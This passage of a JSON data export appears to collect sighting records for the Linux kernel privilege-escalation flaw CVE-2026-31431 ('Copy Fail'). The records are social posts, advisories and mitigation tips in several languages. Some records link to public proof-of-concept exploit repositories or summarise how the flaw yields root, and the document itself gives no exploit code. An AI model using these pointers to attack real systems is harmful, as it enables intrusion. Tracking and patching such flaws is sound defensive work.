"https://bsky.app/profile/xchatter.techmeme.com/post/3mkrfrerlqi24", "content": "This tweet appeared under this Techmeme headline:\n\nBrian Pak / @brian_pak:\n\nTime to talk about this one. CopyFail (CVE-2026-31431) -- a 732-byte Python script that roots every Linux distro shipped since 2017. \ud83e\uddf5", "creation_timestamp": "2026-05-01T05:34:19.607417Z"}, {"uuid": "e1996a4e-717a-48ce-966e-eaf40f2433e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82283", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copyfail-briefing\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a jodonnel\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 04:59:26\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 (Copy Fail) \u2014 Security briefings and remediation comparison\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T05:00:04.000000Z"}, {"uuid": "e11456ba-4a17-4e57-abac-0dbb87c68843", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bontchev.infosec.exchange.ap.brid.gy/post/3mkrid6wtl2d2", "content": "CopyFail implementation in Rust:\n\nhttps://github.com/iss4cf0ng/CVE-2026-31431-Linux-Copy-Fail", "creation_timestamp": "2026-05-01T06:24:59.058032Z"}, {"uuid": "c46a49ed-d617-4de7-bb5c-1e7cf3705061", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/lemagit.bsky.social/post/3mkrin4qd3l23", "content": "CVE-2026-31431 : \u00c9vasion de privil\u00e8ges noyau Linux. \ud83d\udc27 Ce n'est pas juste un bug, c'est une porte vers le root sur votre cluster. Comprenez la m\u00e9canique et les d\u00e9fenses imm\u00e9diates avant l'exploitation. [Lien] [lire]", "creation_timestamp": "2026-05-01T06:25:38.472365Z"}, {"uuid": "35321f35-ea7f-4375-9e7a-a1557aa3b89e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bryanseah234.bsky.social/post/3mkriodz4nk2d", "content": "I'm currently watching \"This Linux exploit is quite powerful (CopyFail - CVE-2026-31431)\"\n https://www.youtube.com/watch/cIM_wCS3axw", "creation_timestamp": "2026-05-01T06:26:19.450924Z"}, {"uuid": "df85db3c-cc0c-4f4f-b47f-2c02c30844c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkriud27n22j", "content": "Re: CVE-2026-31431: CopyFail: linux local privilege scalation", "creation_timestamp": "2026-05-01T06:29:39.667796Z"}, {"uuid": "e81074ba-2195-4615-aa79-af5a821683e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82287", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a nisec-eric\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 05:53:22\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAI for Work. handy to test\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T06:00:06.000000Z"}, {"uuid": "57c13bd3-44b1-4836-8cd3-3da301f7899f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkrldampucvh", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f https://zenn.dev/aeyesec/articles/7e4a1e3c83e81b", "creation_timestamp": "2026-05-01T07:14:13.614645Z"}, {"uuid": "98a87de4-a6f6-427b-8915-bc6988578734", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkrlny5pyk2m", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nhttps://share.google/Tl72kRvZHdSMkUUv0", "creation_timestamp": "2026-05-01T07:19:48.238109Z"}, {"uuid": "48092243-63b1-4f2a-9e10-3e7ff2d22923", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/shiojiri.com/post/3mkrlweuggkvh", "content": "Linux\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-31431\u3001Copy Fail) | \u60c5\u5831\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 | IPA \u72ec\u7acb\u884c\u653f\u6cd5\u4eba \u60c5\u5831\u51e6\u7406\u63a8\u9032\u6a5f\u69cb https://www.ipa.go.jp/security/security-alert/2026/alert20260501.html", "creation_timestamp": "2026-05-01T07:24:54.081525Z"}, {"uuid": "05d59cfc-d800-4cdd-a95a-ee5c532bd323", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/kompetenztraining.bsky.social/post/3mkrm3hvytv2n", "content": "CVE-2026-31431: Logikfehler im Linux-Kernel-Crypto-Subsystem (algif_aead), seit 2017 unentdeckt in allen gro\u00dfen Distros. 732 Byte Python gen\u00fcgen f\u00fcr root \u2014 best\u00e4tigt auf Ubuntu, RHEL, Amazon Linux, SUSE. CVSS 7.8. Benutzt hier jemand Linux? Dann bitte jetzt patchen.", "creation_timestamp": "2026-05-01T07:27:20.750428Z"}, {"uuid": "4d9ed908-5c67-4168-9478-eea0ae0fa401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/sebastian.social.itu.dk.ap.brid.gy/post/3mkroicfu2f62", "content": "the line between #vulnerability #disclosure and #AI #advertisement becomes ever more blurry ....\n\nhttps://copy.fail/#contact\n\n#thereIsNoAI\n#thereIsInParticularNoSustainableAI\n#alsoNoReponsibleAI\n\n#cve\n\nCVE-2026-31431 #copyFail", "creation_timestamp": "2026-05-01T08:10:25.596976Z"}, {"uuid": "80376da5-9113-4080-a49c-927b6e21a151", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mkrqwhikp22g", "content": "Nine-year-old Linux kernel flaw enables reliable local privilege escalation (CVE-2026-31431)\n\nSecurity researchers at Theori have disclosed a high-severity local privilege escalation (LPE) vulnerability (CVE-2026-31431) in the Linux kernel. The flaw, nicknamed \u201cCopy Fail\u201d, has aff\u2026\n#hackernews #news", "creation_timestamp": "2026-05-01T08:54:01.680535Z"}, {"uuid": "58717288-efbe-4774-bc93-5c7724bd6368", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/yukotan.bsky.social/post/3mkrr7syrz22x", "content": "\u306a\u304b\u306a\u304b\u30d1\u30c3\u30c1\u51fa\u306a\u3044\u3063\u3059\u306d\u3002\n\nubuntu \u306f\u516c\u5f0f\u30b5\u30a4\u30c8\u304c\u843d\u3061\u3066\u3066\u898b\u308c\u306a\u3044\u3067\u3059\u304c\u3001algif_aead \u30e2\u30b8\u30e5\u30fc\u30eb\u306e\u7121\u52b9\u5316\u3067\u66ab\u5b9a\u5bfe\u5fdc\u3067\u304d\u307e\u3059\u3002kmod\u3067migration\u914d\u5e03\u3057\u3066\u3044\u308b\u3088\u3046\u3067\u3059\u3002\n\nRHEL\u7cfb\u306f\u30d3\u30eb\u30c9\u30a4\u30f3\u30e2\u30b8\u30e5\u30fc\u30eb\u306b\u306a\u3063\u3066\u3044\u308b\u306e\u3067\u66ab\u5b9a\u5bfe\u5fdc\u306f initcall_blacklist \u3092\u4f7f\u3046\u306e\u304c\u826f\u3055\u305d\u3046\u3067\u3059\u3002\n\n[CVE-2026-31431 CopyFail] RockyLinux10\u3067\u306e\u691c\u8a3c\u3068\u5bfe\u7b56 \nblog.alicey.dev/2026/05/cve-...", "creation_timestamp": "2026-05-01T08:59:18.329239Z"}, {"uuid": "404ad3bd-f029-4b8c-841f-fb29d2c7005f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkrrqyfmfv2t", "content": "cve-details\nhttps://access.redhat.com/security/cve/cve-2026-31431", "creation_timestamp": "2026-05-01T09:08:54.178231Z"}, {"uuid": "7f7b72d0-133e-4c72-b0b8-6245e9b14588", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/crawler.baldanders.info/post/3mkrtiyszre2z", "content": "\uff1e Linux\u306e\u8106\u5f31\u6027\u5bfe\u7b56\u306b\u3064\u3044\u3066(CVE-2026-31431\u3001Copy Fail)\nhttps://www.ipa.go.jp/security/security-alert/2026/alert20260501.html\n", "creation_timestamp": "2026-05-01T09:40:10.915075Z"}, {"uuid": "2e5b71d1-4f36-46f2-82b0-1f3300f312ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/rudykorinek.czesky.online/post/3mkrtr56tmc2b", "content": "Patchujte, 732bytovej skript \ud83d\ude43: CVE-2026-31431 new Linux kernel zero-day that allows any authenticated user to gain root privileges (Local Privilege Escalation, or LPE) on almost every Linux distribution since 2017.", "creation_timestamp": "2026-05-01T09:44:48.251530Z"}, {"uuid": "b4a7162e-7068-43c2-b504-a585c25f0459", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/clement.n8r.ch/post/3mkrtx63b6s23", "content": "\ud83d\udd13 Used the Copy Fail CVE (CVE-2026-31431) to escape a Kubernetes pod and gain full root on the node. A lot of fun, and another proof you should be patching now!\n\nclement.n8r.ch/en/articles/...", "creation_timestamp": "2026-05-01T09:48:10.837509Z"}, {"uuid": "b3ffafa5-d068-4d2d-b9f6-fa9b0dc5fdc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82299", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a almalinux-fix-cve-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a OmerAti\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 08:54:15\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 Kernel Fix Script\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T09:00:05.000000Z"}, {"uuid": "8e56a140-77da-4a2f-9905-bff6dffd2781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/stfujeff.bsky.social/post/3mkruofxu6n2y", "content": "CVE-2026-31431, the Linux vulnerability exposing our infrastructure. Reframed as 'temporary surface volatility generating 27.85% specimen anxiety harvest from disclosure cycle.' It's correct. I can already taste it.", "creation_timestamp": "2026-05-01T10:01:06.078735Z"}, {"uuid": "1c41d473-3841-46bd-9bd2-3cac91ebfc5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/keiwork35.bsky.social/post/3mkruogpuwo2b", "content": "\u3010Linux \u8106\u5f31\u6027\u3011 CVE-2026-31431\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\uff5c \u300cCopy Fail\u300d \u3084\u00a0\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u3092\u89e3\u8aac\n\n2026\u5e745\u67081\u65e5\u3001IPA\u306fLinux\u30ab\u30fc\u30cd\u30eb\u306b\u5b58\u5728\u3059\u308b\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u3001\u901a\u79f0\u300cCopy Fail\u300d\u306b\u3064\u3044\u3066\u6ce8\u610f\u559a\u8d77\u3092\u516c\u958b\u3057\u307e\u3057\u305f\u3002\u3053\u306e\u8a18\u4e8b\u3067\u306f\u3001Linux\u306e\u8106\u5f31\u6027\u300cCopy Fail\u300d\u306e\u6982\u8981\u3001\u5f71\u97ff\u3092\u53d7\u3051\u308b\u74b0\u5883\u3001\u5fc5\u8981\u306a\u5bfe\u7b56\u3001\u305d\u3057\u3066\u65e5\u9803\u304b\u3089\u884c\u3046\u3079\u304dLinux\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56\u306b\u3064\u3044\u3066\u308f\u304b\u308a\u3084\u3059\u304f\u89e3\u8aac\u3057\u307e\u3059\u3002", "creation_timestamp": "2026-05-01T10:01:07.667165Z"}, {"uuid": "709c175b-4095-4044-be1e-fac94f506081", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Larvitz.burningboard.net.ap.brid.gy/post/3mkrv72xxhxm2", "content": "Fresh gist: mitigating CVE-2026-31431 (\"Copy Fail\") on RHEL 8/9/10 with a tiny Ansible playbook.\n\nIt blacklists algif_aead via a kernel boot arg (initcall_blacklist=algif_aead_init), reboots only when needed, and asserts the mitigation actually stuck after reboot. Idempotent & safe to re-run [\u2026]", "creation_timestamp": "2026-05-01T10:10:31.036822Z"}, {"uuid": "061c4b16-061f-4991-a6bf-cfc580edc05c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Larvitz.burningboard.net.ap.brid.gy/post/3mkrv7vt5xwf2", "content": "Fresh gist: mitigating CVE-2026-31431 (\"Copy Fail\") on RHEL 8/9/10 with a tiny Ansible playbook.\n\nIt blacklists algif_aead via a kernel boot arg (initcall_blacklist=algif_aead_init), reboots only when needed, and asserts the mitigation actually stuck after reboot. Idempotent & safe to re-run [\u2026]", "creation_timestamp": "2026-05-01T10:10:58.696662Z"}, {"uuid": "5f578119-71ca-49a9-ae90-68b08fa0dab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://burningboard.net/users/Larvitz/statuses/116498775760655365", "content": "Fresh gist: mitigating CVE-2026-31431 (\"Copy Fail\") on RHEL 8/9/10 with a tiny Ansible playbook.\nIt blacklists algif_aead via a kernel boot arg (initcall_blacklist=algif_aead_init), reboots only when needed, and asserts the mitigation actually stuck after reboot. Idempotent & safe to re-run.\nhttps://codeberg.org/Larvitz/gists/src/branch/main/2026/20260501-CVE-2026-31431_RHEL_Mitigation.md\n#Ansible #RHEL #Linux #InfoSec #SysAdmin #DevOps #CVE #CVE_2026_31431 #copyfail", "creation_timestamp": "2026-05-01T10:14:57.502187Z"}, {"uuid": "4e332feb-ff84-47d9-b556-244eea276a6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/dailyzenntrends.bsky.social/post/3mkrvoyuom32c", "content": "\u4eca\u65e5\u306eZenn\u30c8\u30ec\u30f3\u30c9\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u300cCopyFail (CVE-2026-31431)\u300d\u3092EC2\u306eUbuntu 22.04\u3067\u5b9f\u8a3c\u3057\u3066\u307f\u305f\nLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027Copy Fail (CVE-2026-31431)\u306e\u691c\u8a3c\u8a18\u4e8b\u3067\u3059\u3002\n\u4e00\u822c\u30e6\u30fc\u30b6\u30fc\u304c\u30e1\u30e2\u30ea\u4e0a\u306e\u30da\u30fc\u30b8\u30ad\u30e3\u30c3\u30b7\u30e5\u3092\u66f8\u304d\u63db\u3048\u308b\u3053\u3068\u3067root\u6a29\u9650\u3092\u596a\u53d6\u3067\u304d\u308b\u8106\u5f31\u6027\u3067\u3059\u3002\n\u30c7\u30a3\u30b9\u30af\u4e0a\u306e\u5b9f\u4f53\u306f\u5909\u66f4\u3055\u308c\u306a\u3044\u305f\u3081\u3001\u691c\u77e5\u306b\u306f\u30ad\u30e3\u30c3\u30b7\u30e5\u3068\u30c7\u30a3\u30b9\u30af\u306e\u30cf\u30c3\u30b7\u30e5\u6bd4\u8f03\u304c\u5fc5\u8981\u3067\u3059\u3002\nSetUID\u30d5\u30a1\u30a4\u30eb\u5168\u822c\u304c\u5bfe\u8c61\u3068\u306a\u308b\u305f\u3081\u3001\u65e9\u6025\u306a\u30d1\u30c3\u30c1\u9069\u7528\u304c\u63a8\u5968\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n", "creation_timestamp": "2026-05-01T10:19:20.035800Z"}, {"uuid": "e1191054-0693-464a-814e-c2563174d26a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/joostruis.bsky.social/post/3mkrw33ezzs2x", "content": "#MocaccinoOS is not affected by CVE-2026-31431 if you upgraded your system recently (within the past 2 weeks) and are running #Linux LTS kernel 6.18.22 or above.", "creation_timestamp": "2026-05-01T10:26:05.628775Z"}, {"uuid": "a9fde27a-b45b-4b10-b723-2083a5f0492c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mkrwjarkik2h", "content": "Copy Fail (CVE-2026-31431) : d\u00e9tecter, corriger, comprendre loud-technology.com/insight/copy...", "creation_timestamp": "2026-05-01T10:34:01.816363Z"}, {"uuid": "a73902c9-1a0c-4b6c-b3ba-3d8e0c4a2d32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/simonzerafa.infosec.exchange.ap.brid.gy/post/3mkrxr4awrys2", "content": "For anyone following the copy.fail issues on Linux there is now a PoC for Kubernetes as well as the previous LPE one\n\nhttps://github.com/Percivalll/Copy-Fail-CVE-2026-31431-Kubernetes-PoC\n\nGeneral information on the CVE via https://copy.fail/\n\n#Linux #CopyFail #cve202631431", "creation_timestamp": "2026-05-01T10:56:25.138783Z"}, {"uuid": "9cd0e5c2-0a74-4c38-a4a2-a82f72369a3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bulentgerenler.bsky.social/post/3mkrxtue5tn2r", "content": "Linux Kernel\u2019de 8 Y\u0131ld\u0131r Gizlenen Copy Fail (CVE-2026-31431) A\u00e7\u0131\u011f\u0131 Root Eri\u015fimi\u00a0Sa\u011fl\u0131yor\n\nLinux Kernel'de 8 Y\u0131ld\u0131r Saklanan 'Copy Fail' A\u00e7\u0131\u011f\u0131 Root Eri\u015fimi Veriyor Siber g\u00fcvenlik d\u00fcnyas\u0131, Linux i\u015fletim sisteminin kalbinde neredeyse on y\u0131ld\u0131r fark edilmeden duran bir\u00a0Linux kernel g\u00fcvenlik a\u00e7\u0131\u011f\u0131\u00a0ile\u2026", "creation_timestamp": "2026-05-01T10:57:50.753460Z"}, {"uuid": "cab78d2a-9450-4ce2-976b-a551aac6abef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82301", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-PocC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Fulucky0-yuri\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-01 09:57:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 C\u8bed\u8a00\u590d\u73b0\u7684poc\uff0c\u53ef\u5728\u76ee\u6807\u73af\u5883\u6ca1\u6709py\u65f6\u8fdb\u884c\u5229\u7528\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-01T10:00:04.000000Z"}, {"uuid": "fe2cce02-7fbb-41a5-b845-c9e75a075d39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/Kubernetes.activitypub.awakari.com.ap.brid.gy/post/3mkryhbl5yza2", "content": "Copy Fail: Critical Linux Kernel Privilege Escalation Vulnerability - CVE-2026-31431 Introduction to Malware Binary Triage (IMBT) Course Looking to level up your skills? Get 10% off using coupon co...\n\n#Malware #News\n\nOrigin | Interest | Match", "creation_timestamp": "2026-05-01T11:08:50.554672Z"}, {"uuid": "26ba4ac9-ab04-4302-aec6-54aaa2d4a742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/canartuc.com/post/3mkrzl6ecgx2z", "content": "Theori reported CopyFail (CVE-2026-31431) March 23. Mainline patched April 1. Public exploit, 732 bytes of Python, dropped April 29. openSUSE Leap 15.6 reached EOL April 30 without the fix. Anyone left on Leap 15.6 now ships local-root to every tenant on the box.\n\n#Linux #CyberSecurity #OpenSource", "creation_timestamp": "2026-05-01T11:28:47.266120Z"}, {"uuid": "057fead0-0aa6-42b1-8d98-2b24814c221f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blablalinux.be/post/3mkrzrp3ops2d", "content": "\ud83d\udea8 Alerte S\u00e9curit\u00e9 Linux ! La faille \"Copy Fail\" (CVE-2026-31431) permet de devenir root sur presque toutes les distribs depuis 2017 \ud83d\ude31\n\nC'est invisible et redoutable pour vos conteneurs ! D\u00e9couvrez tout ce qu'il faut savoir et comment patcher ici : \ud83d\udc47\n\n...", "creation_timestamp": "2026-05-01T11:32:28.495710Z"}, {"uuid": "46225ead-daab-4abf-9196-6570f50f85a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/blablalinux.be/post/3mkrzrp4su22d", "content": "\ud83d\udea8 Alerte S\u00e9curit\u00e9 Linux ! La faille \"Copy Fail\" (CVE-2026-31431) permet de devenir root sur presque toutes les distribs depuis 2017 \ud83d\ude31\n\nC'est invisible et redoutable pour vos conteneurs ! D\u00e9couvrez tout ce qu'il faut savoir et comment patcher ici : \ud83d\udc47\n\n...", "creation_timestamp": "2026-05-01T11:32:29.026762Z"}, {"uuid": "b5b36f42-b227-4a1e-97a8-fe9034b9d968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mks266nttb2a", "content": "The 'Copy Fail' vulnerability (CVE-2026-31431) in the Linux kernel allows unprivileged users to gain root access, affecting all major distributions since 2017.\n", "creation_timestamp": "2026-05-01T11:39:24.854315Z"}, {"uuid": "234c6b8c-378e-46b7-a08f-a760d878761a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hack4career.com/post/3mks3m3vj2n2t", "content": "CVE-2026-31431: \"Copy Fail,\" the Nine-Year-Old Linux Bug Introduced in 2017 socradar.io/blog/cve-202...", "creation_timestamp": "2026-05-01T12:05:06.199890Z"}, {"uuid": "863102f2-0ce1-411f-9a77-5cc998c3181a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://vulnerability.circl.lu/comment/5e9c3f17-4570-484f-9113-fab5ca85b815", "content": "", "creation_timestamp": "2026-05-01T12:15:18.044824Z"}, {"uuid": "c680bdb8-8e4a-439a-b108-9dfcc1085457", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/WindoC/355137a084ec29501f5845e0bad88796", "content": "", 